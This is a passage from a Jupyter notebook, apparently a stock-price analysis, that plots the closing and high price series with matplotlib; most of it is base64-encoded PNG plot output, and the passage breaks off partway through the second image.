5Gx+tj81vRBkPFUwvTEdyfjJa+FXeSJOHPgOAt9bbps9tK9e1vw5DWw8FAKQ/qZ73I2fge2HYC/DSeKm2RflHYcWRFU3iYpeck5xh2vj3DADu6XmP8jcTAGKDYnE++7xJrbaLORcx85eZuO/n+3A49XDDN9jBGLQROZgQAvf1vg+A+q6unLK/LuTkIzP7zqxX2+pDvqt7KOUQ/m/d/ynrjeeC2ZskSYhdGIuh3xgucOTCuXXNsNg5vLOSdAWAKk14VW2DDfP9TmacRLm+3OJ+pbpSmyWPmdBpglNmvCNyFs8NfQ7f3fgdJnScgNMZp5Ffmq/qMTf+bnC2dP/Gfpr8EzbdvsmkxEtuSS4AQ8bbqloGtERmUabTJ4yixiulwNDTdiHngurmwesjXlftFxscizJ9mUnPsPHwf1coMVRfzvsNRNSEjO8wHk8Nego/3/qzsm7lsZXIKc6p9bkSchPwV/xfGNZ6GD4aa11B54bQIbSD2fWOzACVWpCK89nnsf3idkz8fqJyQVOfzHRycAoAHu4eFvdzd3PH1CsMhULHLh+Lvl/0xYGkAyb7lels09NGRDXTuGlwa7dbEekXiaR8wzxQ47mp/xv2P0c1rVbCfcNNRmwAlUFbdEC0yTZ5CHXVXg5ncSbzDG5ZeQuKy4sd3RRqIHKgdSL9BN7Y/gYAw3DfqvM05Rui57LOIa0gTalJeDy9MmjLKsqyQ4sdi0EbkRPQumsxf9R81fC6WRtn4YpPr0CZrjJJyb+X/jWpLVTVbatuAwBkF2c79M6wcQAT6ReJzXcahkU+8usjDvtyNR4Tv+7kOmW5PgkGlk5cigUjF+DMw2dq3Pe2Kww/m83nNmNf0j70/qI3AEPJAPkuY5m+rNrgj4hszzjTbkFZZe1MH62Pagilq5FHWzT3b26yTU5U5axB2z3r7sHKYyux85LjhvlTw7mQfQH/Xa4sg/PcX88BMF/mRg7azmaeRbO3m6Hluy0xf/t8pQ4hAGQVM2gjIjs798g55aI9ITcBPx37CYDhy2rw4sG46ceb0P+r/pjw/QR8+t+nuHvd3crcLKCyjIAzkGuFJT2RpBSYBoBNZ+qXaKUuXv7nZbyy1bQ2E1C/AtTB3sF4cvCTSrmD6kQHmt7tXrh7Idxfdsd9PxuGyJbpyhq0th4RmTIO2qZ0naLatvnOzSh9vtTeTbKJ+SPno+T5ErNzAeWL49SC1Aa/kVZUVoR2C9vVak5zTolhpIkzD0ulupMDtmWTlmFs+7EADKU9BrcabLJvq8BWCPAMwF/n/wJguLHyzJ/PYNGBRUppDme9+WBL/E0gcjJtgtug+Lli6F7QIcwnDL+c/gUAEJ8dr+yzJ3EP1p9cjwc3Pohv4r7BskPLlG3ynDHjMgKOcuiBQ0h4rLKEgZwps75frnW5wJj39zzlvazKXvPsekb2NClIPvvX2QCARQcM622ViISIrCffyX/56pdNeqXc3dxd9kaKEMJiz70ctN219i6ELDDt3bClw6mHcTbrLJ7+42mrj5GnB8jBGwDsStiF2ZtmM3lKIyAPjRwROwIrJ69E9tPZKH6+2Oz8S3c3dwxpNQTfHf7OZNv4DuPh6e6JeX/Pw5rjaxq83Y7EoI3ICQkh4CbcMCh6EPZe3gsASMytnIBbdTifPL4bgJIhzBnmAQR6BSIqoLI4dPxsQ+Bp3N70wnSTjFCy4UuG44UtL+BI6hHl9aw8uhIhC0IQlxxndTuqJv54cdiLqsfGpQoa2j297kH6k+mY3X82rm17rcl29rQR2d/4DuNxfvZ5PD/0eUc3xW6CvYNVvViluobrTZTrRpob+maJHKwZ36QbvHgwFu5ZqBrCSq4pJT8FAgJhPmHw0fog0Cuw2v2Nk34Zm9ZzGtqGtEWprlRJLlaTgtICi9cdzoxBG5ETG9hyIE5mnMSlnEtKBsasp7OQ8VQG7ul5j7KfPMxgf9J+/Bn/JwBgeq/pdm9vTTzcPeCt8VbuoBaWFSL8rXDM/GUmLuddVu3788mfseX8Fryy9RV0+7QbHtpomDS/8thKAMDob0dj+rrpOJhccwFv46xSscGxmHf1PNVwKHsL9QnF+2Pex5sj3zTZxp42IvsTQqB1UGu73sBxNI2bBm2C2iiPZ/w8o9rMtvUhjxQJ9ArEZ3s/U+p3Vke+uSf///PJn5VSOHVJ0kXOJbUgFaE+oVaX8Yj0iwRgKFUhu6fnPYgNjsVrw18DADTzbWbVuV7+52V0/aSrU9zcrg0GbURObFKnSQCAVu+3UtYFeQXBw90DiyYswmfjPsOINiPwx7k/IEkS+nzRBwDQPqQ9nr3qWYe0uSZBXkHYdnEbCssKcTbzLADgy/1fIurdKMzbMg+A4Q7cDd/foDpu0YFFyCjMUO6+phWmYXHcYkz6YVKNzynf5Z3cZbKSEOXwzMOInx2P3GdybfbaasvcnUP2tBGRvbQPba8sLzm4RJVC3ZbkrMGrj6/GzF9mmp1fLEkSPtv7GdIL03EmszKx08mMkxAvCdXfhKaQdKIx0+l12JW4q9raplXJNxSuaWNIDDQydiQWTTBMK5jYaSKeGPgEcktyaxw6eyT1CN7f/T56Ne9lUrvQ2TFoI3JiVdPmL5u0TPX4/r73Y0LHCcgrzVPmRAGGHi1nvWNcUFaA3Ym78cCGB3A266xq28tbX4Ze0uNAsmkqfMBwd8x4mCgAJU13deSskc9e9awydyXSLxIxQTH1SvdfX0FeQbi9W2Wx7e0Xt7OnjYjsZkSbEarHcs2289nn8cKWF3As7Vidz12qK8WpjFMATOuOXsi5YLL/yYyTmPnLTNy26jbVPO1P935qsu/d6+5mVkkX9sCGBxCXHIdgr2Crj+nT3HBT+v4+92PDrRvw480/qra3CmyF4vLiGssKbbuwDaW6UvxvqGuU8zDGoI3IiQkh0D2iu/K4a7OuJvvIvTXGKexLdDUPPXGUzmGdAQCrjq/CroRdAIAPxnyAV695FQAw5acpWH54OQBg293bkPNMDj4Z+wkAYOGehTiadhSDoyuzSxWXF9eY2EQemtMmuE21+znCt5O+xfgO4wEAQ74ewp42IrKbxwc+rpQFAKDcSOv1eS+8svUVXLOk7uUOHvzlQXT8qCOyirKwK3GXatuR1CO48YcbUVBaOTdNHvJ4MuMkMgozqr2g33t5L4YvHV7ntpFj/XzKUJP2sQGPWX3M+I7jkfZkGq5qdRXGdRiHYG/150OuRXgp95LFc0iShA/3fAgA6BjasbbNdjgGbURObsnEJcpyz8ieJttbB7UGgFol5nCkjbdvxG3dbkNhWSHm75iPkbEj8Uj/R/DMVc8AAH469hOWHVqGAM8AXNXqKgR4BuCBvg+oztGtWTccuP8AvrvRkEmqpiE9F7IvINAzEEFeQQ3ymupDCKEEsoBhnh972ojIHtyEG27oWDnsUO5pk+eRFZUV1fncPx419IR8f+R7k79PcclxWHNiDXYn7lbWyXOPL+ZcxKIDi0ySlvx868+qi3xvjXed20aOI0kSsouz8eSgJzG+4/haHVvdXHS5pE6fL/qY3MiVJAnR70WjyyddlILc7m7utWy54zFoI3JyNU2slSfnJuSaptZ3RiHeIcqkYcAQgAGmX6DGAZYQAp+OMwyR6dO8D/437H/oGdkTVzS7AgBwOe8yMosykZKfYvY5C8oKEOAZYMuXYVPGf4gu5V5SJU4hImpIxiVPzmWdU/V+5ZXm4cW/X1QSgNSGPOJD7lUxx7iuqPH3XlF5kUnQNjh6MOYOmas8dubvdLIsITcBJboSpWfMVoyT6qw7sU61La0wDQm5CTiRfsKmz2lvDNqInFy4TzgA4I0Rb5jdHuodarJuzsA5Ddqm+ooJikHSE0mY0XuG6s7p+qnrMabdGLPHPND3ASQ8loC9M/YqQalcT+lizkWEvxWObp92M3tsqa7UYq0iZ1B1MrQ8D4SIqKEZf/8cSjmkDDscGTsSAPDSPy/haOrRWp3zYs5FpYTApjObAADb795uMiTNOFCrerPKOGgb024MgryCEOhZmRbekfORqe7k+YpDWg+x6XlDfUKxb8Y+AMA96+/BnsQ9yraT6SeV5Sj/KJyffd6mz20vDNqInJzWXQtpnqQMH6yqag+VNE+q9ZADR4j0i8Tn4z9XhjQAhjHrK25agRFtRmD91PUmxxjXfAMqA9Y5m+dAL+mRVphmtpfK2YO2qj/D5PxkB7WEiJoa4/T7iXmJysXu6NjRynrjbI7WGLhooOpxr8heGNxqMPbctwfnHjmHnGcM89eMv69TClLgq/VVEk6E+lTekPzx5h8hhFDN9/X3YNDmrE5nnEbUu1FYfXw1AMONyANJB5CQm4CUghT4e/ibne5RX72b98b7174PQP2ZNb4ROnfIXGVaiath0EbUiHw1/itHN6HegryC8Mddf6BHZI8a9xVCYHgbw11huYfOXLYzZw/a5D9e8s+vLkORiIjqYmD0QDza/1HMGzZPtf7qmKvx2bjPANQ+aJPrbk7uMhmDowfj0QGPAjAMaWwT3AYBngEI8AxQgrb3d72P387+hki/SGWOnTzKBFAP4ZTVplA32dfOhJ24nHcZN/14E9adWIeOH3VE7y96I/q9aGQWZcLPw6/BnvuWrrcAUNfyO5VxCh7uHoifHY8H+z3YYM/d0KyraEdETu3Mw2fgqfGsVc2TxmLVLatwIfsC/Dz80O7DdojPisfVMVer9nH2oG1Q9CCcn30erQJbobCsEINbDa75ICIiG9C4afDemPewJ3EPXvrnJWV9iHcIZvSZgVkbZymJSWrrps43YcoVU8xua+bbDCkFKSjXl+Ox3wzD5Ae2HKgkYhKoLFtjLmkEb245L7kGq6/WF7f8dItq286EnQ0atMnz4XNKchD5diRSClJwVaur0C6kndnaqK6EPW1EjUDbkLZNMmADDF/QPSJ7oFVgK7gJNyW9vzFnD9oAQxZQIQQe7v8wejfv7ejmEFETc2XUlfjjzj9w8IGDWDpxKdqGtIUQAgGeAcgtya3VudoEtcHwNsMtBmyAIWhLLUhFfFbld3aEXwRu63Ybmvs1x/1976/2OYrLi2vVJmo4kiTh6c1PK2V8jqYdRWxwLG7peosyt1EubXMm80yDBm3yHM1n/3wWKQWG5GTbL243qXvrihi0EVGjoHXXItwn3Ox8MFcI2oiIHG1E7Ah0j+iOO3vcqawL8AxAbqkhaCvTleHD3R9iS/wWi+d47s/nEJ8dj16Rvap9Ljlo6/BR5cV0M59maB3UGpefuIxOYZ3wzYRvcG+ve1XHnZh1AtEB0QzanMiuhF1Y8O8CTFs7Ddsvbseq46swKHoQrmp1lbLPyskrEeEbAQBKMNUQhBBm15fryxvsOe2FQRsRNRrhvuFIK0wzWc+gjYiobgI8A5BXkgcAWHxgMR759REMXzpcGZ54OOWwaqji69tfB6BOwW5OhG+ESeIoXw9f1eNpPafhyxu+VK3rGNYRPSN7umTQlluS2yiCh6rkDKE6vQ47Lu4AADzY90GlpA8AeGo8sfH2jQAq5zza00P9HrL7c9oagzYiajTCfcKRVsCgjYjIVoyHRxaVVxbbTitIw+9nf0f3z7rjm7hvTI6raQhcM99mSC9MV62TJMmqNnlpvFwuaJMkCYFvBmL6+umOborNycMiM4oykJCbgEDPQAyMHojO4Z0BAK0DDdkaY4Nj7dKeiZ0mKsvxs+MhzZNwbbtr7fLcDYlBGxE1GrkludhxaYdJpjMGbUREdWMctMk9boChPMCGUxsAAO/tes/kuJoukpv5NjNJJiLB+qCttvPsHE0uJL704FIHt8T2zmefBwBkF2djV+IupZSPn4cftt29DXEPxAGoTBLS0OZeVVmEXQ4YGwMGbUTUaMjj5xcfWIzvDn+HaWunAWDQRkRUVyHeIUjKTwKgrqt2KeeSMhz9SOoRnMs6B8BwYf5Qv4cQ6RdZ7XnDfMKU5XHtxyE2OBaz+s2yqk0DWg5AYl4iDqccrtVrcaSs4ixlOa8kz65BZ05xDuZtmackBbElSZJwKfeSEpDtvbwXk7tMVrZf1eoqVbD2/U3fK0WwG0qwd7CybGmOmyti0EZEjca7176L2OBYHE07ittX346lB5eioLSAQRsRUR31j+qPhNwEnMo4hUu5lxDlHwWNmwZ7EvcogRpgmNu2JX4LsouzVRfNlrgLd+X/r274CmcfOYv2oe2tatP1Ha4HAPxz4Z86vCLHyCqqDNoC3gzA0K+H2u2539j+Bl7e+jK+Pfitzc+dXpiO4vJi9G3RV1n3wrAXLO4/5YopDZ4hOTogGt2adcP6qesb9HnsjXXaiKjRcBNuiPKPUhXVPJZ2jEEbEVEdTew0EU9ufhKdPuoECRJ6RPRApF8kPtn7iap+28QfJirLwV41B20TO03Ea8NfwyP9H6l1CvjogGg0822GuOS4Wh3nSMY9bQBwMOWg3Z5bHoYq95jaktz7OjxmOP4494fNz18XnhpPHJp5yNHNsDn2tBFRoxLoFai6+3o68zQKywoZtBER1UF0YDSGth6qzDfLKclBbHCsErDtuGcHbux8o+oYa3ratO5azB0yt041u4QQCPYKVuaJObvVx1fjmiXXOOz5fbWGrJyZRZn1PtfKoysx4+cZeHjjw5AkCRlFGQAMdf7u630fvhz/ZQ1noLpiTxsRNSqBnoGqx7evvh0AGLQREdXRwJYDsfncZgBAc7/miAmKAWCYvzaw5UC8es2rWH18tbK/NT1t9eVKGSRvXXWr2fXJ+ck1zv2zhZwSw+iT/Un763UeSZJwy0+3KI8fH/i4kgE0zCcMX4z/ol7np+qxp42IGhUvjRcA4PEBj6vu4HprvB3VJCIil2Y8X+mHm39Au5B2AAzft0IIdA7vjNFtRyv7WNPTVl+uFLRZKmUwa2Nl4pU1x9eg/1f9UVJeYpPnvJhzEWW6MgBQesP2Xt5br3Mal3wAgFHfjsKpjFMAgFCf0Hqdm2rGoI2IGhU53f/gVoPRMbSjsv7KqCsd1SQiIpc2MnYk7ut9H87PPo/owGilDtbjAx5X9vntjt+UZXukdnepoK1KKYPvb/oegKEYteyutXdhT+IeeL3mZbbeaG3EJceh9futlVIMyfnJAICCsgIUlBbU+bzycNSFYxZiUqdJOJt1Fs/++SwAINSbQVtDY9BGRI2KfAd4QMsBmN6rsojpDR1vcFSTiIhcmrfWG1+M/wKtgww1r5r5NkPes3mYM2iOer+KEQ0M2tTK9eUAgN7Ne0OaJ2HKFVNwdczViM+OxxO/PYHz2efRMqClsr9xaYW6WHVsFQDg6T+exrwt8/D72d9tcm45aAv0CsTqKatV27y1HM3S0GoM2oQQi4UQqUKII0brQoQQm4UQpyv+D65YL4QQC4UQZ4QQh4QQDZvTk4ioig/GfID9M/ajhX8LDIweCAC4v8/9japWCxGRo/l5+Jl8ry6ZuATN/ZojwjeiwZ/fVYI241T/w1oPU5ZbBbbCoZRDeHfXu2jzQRvVfOzCssJ6PeeB5APK8stbXwZQOa87pSBFtW9KforVwybloE2eevDdjd/Vq51UO9b0tH0DYEyVdc8A+FOSpPYA/qx4DADXAWhf8W8GgE9t00wiIuv4eviiV/NeAICekT3xy22/4K1Rbzm4VUREjd/krpNx+YnL8NR4NvhzuUrQti/JUEj63dHvYv7I+cr6SF91ApLdibuV5fpmxTSXcGT5jcsBAIm5iar1k1dORr8v+5lklvz24LeYtnaaal3VoO3WboYEK8aF0qnh1Bi0SZK0FUDVHKETACypWF4CYKLR+qWSwS4AQUKI5jZqKxFRrY1tPxb+nv6ObgYREdmQqwRtKfmGnq2x7cdC665V1jfzbWbxmNoGbUVlRbhzzZ2Iz4pHcn4ykvKT8N617+GO7ncAAOZeNRfXd7genu6e2H5xu+pYOZHItgvbVOvvWnsXlh5carZdxkm+Tj50EkdmHgE1vLrOaYuQJEmu0JcMQO4HjwJwyWi/hIp1REREREQ24TJBW8VwxAg/9ZBR+WZiiHeIyTHGQVtOcQ76f9Uf38R9Y/E5difuxrJDyzB55WQsO7QMADC8zXA81O8hAEC/qH7w0nihZ2RPHE49rDpW42ao/lW1+Lc5cnp/46CtQ2gHk9dGDaPeiUgkQx5T87lMqyGEmCGE2CuE2JuWVr8sOURERETUdLhK0JZakAoPdw+TGqLuwh0A8NiAx1DyfAk+GPOBklXSOGj79cyv2JO4B9PXT4clt626DYCh1+ydne9gZOxIdI/ojv4t+yPzqUwl22fLgJZIzEvEx3s+xnXLr8PFnItIzDMMl5SLpVdVqitVlpceXIpAz0ClTh/ZV12DthR52GPF/3IqmkQA0Ub7taxYZ0KSpC8kSeorSVLf8PDwOjaDiIiIiJoa46DtUs4liJcEfj3zq4NbZSqlIAXNfJuZJG25s8edeHf0u3hy0JPwcPfAI/0fwZh2hhQSctD2z/l/MHXVVACAXtJj8YHFJucvLi9GUr5h8FteaR6S85NxY6cble3GNfOi/KNwIv0EHtr0EH498ytav99a2WYpaJNLBBSVFeHv839jeq/pCPAMqO3bQDZQ16BtPQB5duI0AOuM1t9VkUVyAIAco2GURERERET1FuQVhBJdCZLzk7H2xFoAwIojKxzbKDNS8lPMZtP0cPfAYwMfUyVt8fXwhYBQimEfTDmoOqZqb9uvZ37F53s/Nzl3nxZ9zLalVWAri+20GLSVGYK2rRe2okRXglFtR1k8BzUsa1L+rwCwE0BHIUSCEGI6gDcBjBJCnAYwsuIxAGwEcA7AGQBfAniwQVpNRERERE2WXHtz/cn1uJRrSKfQKsByUOIoKQUpVs/50rhp0DOyJ3Zc2gFAPXdMZpiVZHDd8uvw6G+PAgB23LNDWd89orvZ88vDJAFg2aRlmNhpIh7o8wBaBbbCH+f+ULYdTK4MFuWett/P/g5Pd08MbT3UqtdCtqepaQdJkm61sGmEmX0lALPq2ygiIiIiIks6h3VGgGcA4pLjlOLVuSW5AAy9W27CDeG+jp9+k1qQih4RPazev2+Lvlh30jCALac4BwAwKnYUNp/bDMBQw83Xw1c1n69fi34YFD0IEztNxLG0Y/DSeJk9d9uQtsry7d1vx+3dbwcAXPHJFTiadhSZRZkI8Q7B6GWjlf1WHFmBIa2G4N1d72Jk7Ej4aH2sfi1kW/VOREJEREREZE9CCHSP6I6DKQeV4YSZxYYKVW0XtkWzty2n1G8oZzLPQKfXqdalFqQi3Mf64DHCNwLphenQ6XXIKTEEbZ9d/xlCvUMBVGZwPJd1DgDwwtAXsHP6TgDA6ltW4+RDJ6s9f9z9cdh2tzq9/4tXvwgAuJhzETnFOUgtSFW2vfTPS5j5y0wAwJSuU6x+HWR7DNqIiIiIyOX0iOiBA0kHsPr4agDAlvgt2Hh6ozIPKynPfmkV9iTuQfsP26Pvl32hl/QADJkXS3WltUrcEeEXAb2kR0ZRBrKLs+Hn4YfY4FgsumERAODx3x9HemG6ElhdHXM13N0MmSirJjsxp0dkD1zV6irVuugAQw7BSzmXzM5tC/EOgae7J6b3spzBkhoegzYiIiIicjk9InqgqLxIeZyYl4hx341THstZFRuKJEkoKjM8/+9nfwcAxCXHwf1ld/x65ldlPpi5uWmWyEW3k/KSkF2crZQK6BbRDQCw+vhqLDu0TAnaqivSba3oQEPQlpCbgMKyQgDAy1e/jBs736i8pnEdxlkVFFLDYdBGRERERC6nR2T1c8WMh/nVxpHUIxi0aBAyCjOq3e/JzU/C53Uf9P+qP97d+a5q26O/Pop9SfsA1C5o6xTWCQDw1f6v8O+lf5VgLTY4VikJkJyfbNOgTR56mVmUqQRtPSJ7YEbvGQCAEl0Jmvs1r/fzUP0waCMiIiIil3NFsysAGBJxlD5fil3Td6HouSKcfvg0AMtB26pjq3DXmrssnveO1XdgZ8JObL+4vdrn//HojwAMQyOzirPQMqClsu1kxkmM+taQHt/Xw9fq19Q9ojvu7XUvPvrvI5zOPI3hMcOVbZtu34R2Ie0Qnx2P1IJUCAiEeIdYfW5LPDWe8NZ4I7s4WwnafLQ+iPSLVPapzbw8ahgM2oiIiIjI5fhofXDyoZPYdvc2aN216N+yP7w0Xkrv0+W8yybHJOUl4eaVN+PbQ9+iTFem2lZSXoKhXw9V6qNlFWcBMBS2Nk61L+sZ2VP1+Nq216rS6stq09MGAPNHzVeWO4d3Vm1rGdASSXlJSC1IRZhPmDKfrb5KdCV4e+fbGPqNIaW/j9YHzf0re9eMi3STYzBoIyIiIiKX1CG0g6pANQAEeAagc1hnPPvnszicchif/PcJLuVcwsbTGzH3r7nKfplFmarjtl7Yim0Xt8Fb4w3AMMcLANxfdsf9G+43ee4yvSHoC/QMxMdjP8b/hv4Pa6asMdmvtkFbiHcIYoNjAQAdQzuabMsoykBqQapNhkbK5OQpMh+tjzJsEgCCvRi0OVqNddqIiIiIiFzJ3T3vxlN/PIXunxkKTc/aaFpGOK0wTVX4en/SfgBAwuMJ6PxxZ8RnxSvJRL7c/yW+GP+F6vj80nxcE3MNfrvjN2jdtRbbUtugDQD+u+8//H72d7QPba9aH+odiozCDKR5p9k0aKvKV+ur6sUL8gpqsOci67CnjYiIiIgalbt6WJ6z9kCfBwBU1jyTrTu5Dl3DuyLEOwSdwzrjWPoxXMq9pGw/lXEKAJBXkgfxksD2i9vh7+lvErAdffAo1k5ZqzyuS9AW4h2CqVdMNVkf6h2KlIIUbL+43aZBW9WyBFWLaHN4pOMxaCMiIiKiRiXc13LijMGtBgNQB217L+/FzoSdSi2ybs264UjqESzcvVDZp+NHhqGKJzMqC1ibC8i6hHfBhE4TlMftQtrV8VWYCvWpHLJonCikvuJnxyP5iWTlsbfWMER0QMsBAGyTpZLqh0EbERERETUqbsIND/R5AC8MfUG1flTsKAxrPQwAkFaQpqzfnbAbAHBL11sAACNiRyC/NB+f7v1UdbxOr8OZzDPK4/iseIttWDNlDZbfuBwaN9vNRpIzZgJAC/8WNjtviHcIIvwi8NPknzCw5UClPtyfd/2JzXduRofQDjZ7LqobzmkjIiIiokbn0+s/RUl5CV7b9hp0kg6z+s3CR2M/QqmuFIC6p+1E+gn4efgpgdBVra5Stk3pOgW/n/0dWcVZ+OfCP5i+frqyzbjnqypzmSTr69q21yrL7sI2mSON3dTlJtzU5SblsY/WByNjR9r8eaj22NNGRERERI2Sp8ZTGUYoF672cPdAoGegKmg7mXESncI6QQgBAAjzCVN6yLo166bUfntt22soLCvEDR1vwIH7D2DJxCX2fDkQQuDkQyfRNrgtplwxxa7PTY7FoI2IiIiIGq3xHcYDUKfPF0Jg4Z6FSq/bifQTJun1H+3/KNyEG27qchNCvEPgq/XFX/F/AQAW37AYPSN72qS4dW11CO2AM4+cURXzpsaPQRsRERERNVofXPcBVt2yCiNiRyjrBkUPAgB8ue9L5Jbk4lLuJaUnTrZg1AJkPJWh9MDJxaajA6KrHRZJ1BAYtBERERFRo+Xh7oEbO98IN1F52bvh1g3w0njhoU0PIfBNQ9KNwdGDVccJIVT1yZr7GYI2zvEiR2DQRkRERERNihACxeXFqnUDowdWe4ycBr9vi74N1i4iSxi0EREREVGT88iVjyjLBXML4KXxqnZ/ec5bdEB0g7aLyBym/CciIiKiJueD6z5AM99mGNByAHy0PjXu//qI19EhtAPGdRhnh9YRqQlJkhzdBvTt21fau3evo5tBRERERETkEEKIfZIkmR1/y+GRREREREREToxBGxERERERkRNj0EZEREREROTEGLQRERERERE5MQZtREREREREToxBGxERERERkRNj0EZEREREROTEGLQRERERERE5MQZtREREREREToxBGxERERERkRN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", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "plt.figure(figsize=(15,6))\n", + "plt.plot(df_close, c= \"g\")\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "kyXdB_3gHwqi" + }, + "source": [ + "**Plotting high value graph**" + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 374 + }, + "id": "WuiHZp_1HQhT", + "outputId": "705a9821-01b8-43fa-97ce-872e912af44b" + }, + "outputs": [ + { + "data": { + "image/png": "iVBORw0KGgoAAAANSUhEUgAAA20AAAFlCAYAAAB4PgCOAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjUuMywgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy/NK7nSAAAACXBIWXMAAAsTAAALEwEAmpwYAACDxElEQVR4nO3ddXxcVfrH8c+NuydtmroLLVAvlJZipVixBYq7drHFWWRZYH+4ywJFisPiUKQUSqG0pe7uGneX+/tjcm9mkknjM5Hv+/XqizvnypxMhsl95jnnOYZpmoiIiIiIiEjr5OPtDoiIiIiIiEjtFLSJiIiIiIi0YgraREREREREWjEFbSIiIiIiIq2YgjYREREREZFWTEGbiIiIiIhIK+bn7Q4AxMXFmT179vR2N0RERERERLxi6dKlaaZpxrvb1yqCtp49e7JkyRJvd0NERERERMQrDMPYWds+DY8UERERERFpxRS0iYiIiIiItGIK2kRERERERFoxBW0iIiIiIiKtmII2ERERERGRVkxBm4iIiIiISCumoE1ERERERKQVU9AmIiIiIiLSiiloExERERERacUUtImIiIiIiLRiCtpERERERERaMQVtUquS8hLWpqz1djdERERERDo0BW1Sq1cWv8IhrxzCD1t+8HZXREREREQ6LAVtUquFexcCsGz/Mi/3RERERESk41LQJrXak7MHgOKyYi/3RERERESk41LQJrXKLc4FoLhcQZuIiIiIiLcoaJNaFZUVAY6CJCIiIiIi4h0K2qRWVtCm4ZEiIiIiIt6joE1qZQdtGh4pIiIiIuI1CtqkVgraRERERES8T0Gb1ErDI0VEREREvE9Bm7hlmqadYVOmTURERETEexS0iVvOgdr61PXkleR5sTciIiIiIh2XgjZxyxoaCbA5YzOjXx/txd6IiIiIiHRcCtrELeegDWB92nryS/JZtn+Zl3okIiIiItIxKWgTt6oHbQDj3xrPiNdGsC51nRd6JCIiIiLSMSloE7eyi7JrtK04sAKAtII0D/dGRERERKTjUtAmbi3csxCAx497nPMOOc9lX2FpoTe6JCIiIiLSIfl5uwPS+uQW53Ltd9fi5+PHbUfcxp6cPXy05iN7f2GZgjYREREREU9Rpk1qeHjewwCUVZRhGAZdwru47FemTURERETEcxS0SQ05xTkuj319fF0eF5QWeLI7IiIiIiIdmoI2qaHcLK/R9s20b/j47I8BDY8UEREREfEkzWkTFxVmBcn5yTXaT+l/CnkleYCGR4qIiIiIeJIybeJi5sqZfL3xa7f7gv2CAWXaREREREQ8SUGbuDjYwtm+Pr74+/gr0yY